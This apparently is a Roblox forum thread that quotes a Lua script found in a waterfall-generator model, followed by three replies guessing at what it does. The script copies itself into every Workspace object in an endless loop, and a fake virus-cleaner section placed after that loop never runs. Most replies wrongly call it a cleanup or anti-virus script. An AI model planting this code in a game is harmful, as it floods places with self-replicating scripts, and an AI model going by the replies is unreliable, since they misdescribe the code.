function spread() -- created by ilovepizza1130
local stuff = game.Workspace:GetChildren()
for i = 1, #stuff do
if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
local clone = script:clone()
clone.Parent = stuff[i]
end
end
end
while true do
wait(.1)
spread()
end
function GetAllItems(mdl)
local objs = {}
function Search(obj)
if obj~=workspace then
table.insert(objs,obj)
end
if #obj:GetChildren() > 0 then
for i, v in ipairs(obj:GetChildren()) do
Search(v)
end
end
end
Search(mdl)
return objs
end
for i, v in ipairs(GetAllItems(workspace)) do
if v.className == "Script" then
if v.Name == "charlie84" or v.Name == "stanley12345678910" or v.Name == "Virus" or v.Name == "Infected" or v.Name == "Script......Or is it..." then
v.Parent = game.Lighting --Just in case it has a removal prevention.
t = Instance.new("ObjectValue")
t.Name = "IsAVirus"
t.Parent = v
end
end
end
for i, v in ipairs(game.Lighting:GetChildren()) do
if v:findFirstChild("IsAVirus") then --Only remove the viruses.
v:remove()
end
end
print("Virus debugged! All clean!")
It seems to be searching for names of scripts with “vaccine” or “virus” and destroys them. But I advise you to be careful, most often sometimes a hidden backdoor could be present. Why it is in a waterfall generator? I know not.
It seems like it does search for common names of viruses and such but the performance cost of keeping this can stack up depending on how many objects are in the workspace. I’d remove them. There are much more safer and efficient solutions to combat viruses within your place if the need to arises.
This seems to be a kind of “Clean up script” Removes scripts and i’s named Vaccines and i’s named camera, then if it found stuff named like that, the script gets cloned, and then Parented to the i ( the stuff named script or vaccine etc…), It’s simple removing some players names,infectes scripts, scripts and removing them, it’s looking at game.Lighting and trying to find stuff Named “IsAVirus” which has no sense, and removing it, it’s using a table for all the stuff it founds, and searching them, if the “Search” Function founds it, then It get’s removed